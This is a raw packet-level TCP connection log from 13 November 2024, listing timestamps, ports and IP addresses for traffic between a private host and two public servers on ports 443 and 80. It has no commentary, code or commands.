Nov 13, 2024 18:08:10.537447929 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.537529945 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.537529945 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.537580013 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.537679911 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.556461096 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.556479931 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.556673050 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.556718111 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.556773901 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.653492928 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.653558969 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.653719902 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.653721094 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.653780937 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.653837919 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.664268970 CET	49673	443	192.168.2.6	173.222.162.64
Nov 13, 2024 18:08:10.664273977 CET	49674	443	192.168.2.6	173.222.162.64
Nov 13, 2024 18:08:10.671216011 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.671236038 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.671319962 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.671351910 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.671382904 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.671467066 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.674330950 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.674344063 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.674537897 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.674607038 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.674671888 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.774852037 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.774878025 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.775008917 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.775008917 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.775100946 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.775178909 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.775696993 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:10.775711060 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:10.775722027 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:10.775748014 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:10.775777102 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:10.776786089 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:10.776798010 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:10.776808977 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:10.776832104 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:10.776858091 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:10.777441978 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.777456999 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.777518034 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.777535915 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.777589083 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.786711931 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.786724091 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.786802053 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.786828041 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.786881924 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.789110899 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.789124012 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.789212942 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.789227009 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.789277077 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.791717052 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.791731119 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.791816950 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.791831017 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.791886091 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.794125080 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.794166088 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.794194937 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.794214964 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.794240952 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.794260979 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.795829058 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.795872927 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.795901060 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.795913935 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.795943022 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.795960903 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.797489882 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.797535896 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.797559023 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.797578096 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.797600985 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.797622919 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.797622919 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.832961082 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.834475994 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:10.840068102 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:10.891223907 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.891324043 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.891326904 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.891432047 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.922930956 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.922971010 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.922988892 CET	49715	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:10.922996998 CET	443	49715	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:10.992383003 CET	49672	443	192.168.2.6	173.222.162.64
Nov 13, 2024 18:08:11.121324062 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:11.121428013 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:11.268661022 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:11.268732071 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:11.271962881 CET	49716	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:11.272003889 CET	443	49716	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:11.272063971 CET	49716	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:11.273056984 CET	49717	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:11.273111105 CET	443	49717	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:11.273169041 CET	49717	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:11.273932934 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:11.273945093 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:11.273952961 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:11.273957014 CET	49718	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:11.273962975 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:11.273967981 CET	443	49718	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:11.273973942 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:11.274023056 CET	49718	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:11.274162054 CET	49718	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:11.274169922 CET	443	49718	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:11.274174929 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:11.274246931 CET	49716	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:11.274256945 CET	443	49716	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:11.274844885 CET	49719	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:11.274852991 CET	443	49719	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:11.274904013 CET	49719	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:11.274969101 CET	49717	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:11.274979115 CET	443	49717	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:11.275546074 CET	49720	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:11.275580883 CET	443	49720	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:11.275626898 CET	49720	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:11.275667906 CET	49719	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:11.275681019 CET	443	49719	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:11.275845051 CET	49720	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:11.275856018 CET	443	49720	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.017606974 CET	443	49717	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.017874002 CET	443	49719	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.018385887 CET	49717	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.018420935 CET	443	49717	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.018454075 CET	49719	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.018464088 CET	443	49719	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.018843889 CET	49719	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.018847942 CET	443	49719	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.019088984 CET	49717	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.019093037 CET	443	49717	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.024128914 CET	443	49720	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.024527073 CET	49720	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.024540901 CET	443	49720	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.024682999 CET	443	49718	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.024900913 CET	49718	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.024926901 CET	443	49718	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.025177002 CET	49720	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.025180101 CET	443	49720	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.025299072 CET	49718	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.025306940 CET	443	49718	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.028120995 CET	443	49716	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.028430939 CET	49716	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.028453112 CET	443	49716	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.028938055 CET	49716	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.028947115 CET	443	49716	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.079802990 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.079880953 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.146650076 CET	443	49719	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.146672010 CET	443	49719	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.146740913 CET	443	49719	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.146929026 CET	49719	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.146929026 CET	49719	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.147017002 CET	49719	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.147044897 CET	443	49719	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.147058964 CET	49719	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.147063971 CET	443	49719	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.147979021 CET	443	49717	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.148000002 CET	443	49717	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.148047924 CET	49717	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.148060083 CET	443	49717	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.148124933 CET	443	49717	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.148168087 CET	49717	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.149652004 CET	49717	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.149657965 CET	443	49717	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.149666071 CET	49717	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.149668932 CET	443	49717	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.150942087 CET	49721	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.151041031 CET	443	49721	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.151149035 CET	49721	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.151449919 CET	49721	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.151489019 CET	443	49721	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.152539968 CET	49722	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.152570009 CET	443	49722	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.152620077 CET	49722	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.152743101 CET	49722	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.152753115 CET	443	49722	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.152946949 CET	443	49720	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.153409004 CET	443	49720	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.153459072 CET	49720	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.153491974 CET	49720	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.153503895 CET	443	49720	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.153515100 CET	49720	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.153520107 CET	443	49720	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.154222965 CET	443	49718	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.154295921 CET	443	49718	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.154361963 CET	49718	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.154381037 CET	443	49718	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.154422045 CET	443	49718	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.154422045 CET	49718	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.154467106 CET	49718	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.154563904 CET	49718	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.154577017 CET	443	49718	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.154591084 CET	49718	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.154596090 CET	443	49718	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.156646013 CET	49723	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.156675100 CET	443	49723	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.156724930 CET	49723	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.157037973 CET	49723	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.157048941 CET	443	49723	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.158010960 CET	49724	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.158045053 CET	443	49724	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.158093929 CET	49724	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.158212900 CET	49724	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.158224106 CET	443	49724	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.159153938 CET	443	49716	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.159895897 CET	443	49716	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.159945965 CET	49716	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.159987926 CET	49716	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.159996033 CET	443	49716	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.160006046 CET	49716	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.160010099 CET	443	49716	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.162256002 CET	49725	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.162353039 CET	443	49725	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.162436008 CET	49725	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.162575006 CET	49725	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.162604094 CET	443	49725	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.325999975 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.331016064 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.610682964 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.610694885 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.610711098 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.610721111 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.610730886 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.610785961 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.610833883 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.610987902 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.610999107 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.611037016 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.611366034 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.611411095 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.611810923 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.611819983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.611829996 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.611855030 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.611877918 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.612186909 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.612196922 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.612235069 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.771868944 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.771956921 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.771965981 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.772095919 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.772095919 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.772095919 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.772263050 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.772274017 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.772313118 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.772591114 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.772599936 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.772608995 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.772641897 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.772655010 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.773022890 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.773032904 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.773041964 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.773072004 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.773093939 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.773500919 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.773546934 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.773606062 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.773617983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.773650885 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.774013996 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.774025917 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.774063110 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.774111032 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.774152994 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.774230957 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.774241924 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.774252892 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.774276972 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.774302959 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.774600983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.774648905 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.774907112 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.774954081 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.775028944 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.775070906 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.896729946 CET	443	49721	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.897711992 CET	49721	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.897783995 CET	443	49721	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.898231983 CET	49721	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.898247957 CET	443	49721	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.899162054 CET	443	49722	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.899436951 CET	49722	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.899450064 CET	443	49722	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.899914980 CET	49722	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.899924040 CET	443	49722	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.903013945 CET	443	49723	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.903270960 CET	49723	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.903289080 CET	443	49723	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.903708935 CET	49723	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.903721094 CET	443	49723	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.904582024 CET	443	49724	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.904813051 CET	49724	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.904848099 CET	443	49724	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.905245066 CET	49724	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:12.905252934 CET	443	49724	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:12.933048010 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.933135033 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.933187008 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.933212042 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.933231115 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.933250904 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.933414936 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.933459997 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.933465958 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.933476925 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.933487892 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.933509111 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.933543921 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.934056997 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.934068918 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.934078932 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.934091091 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.934112072 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.934139013 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.934715986 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.934763908 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.934772015 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.934781075 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.934808969 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.934820890 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.934967041 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.934976101 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.934984922 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:12.935010910 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.935033083 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:12.935477972 CET	80	49714	185.215.113.206	192.168.2.6
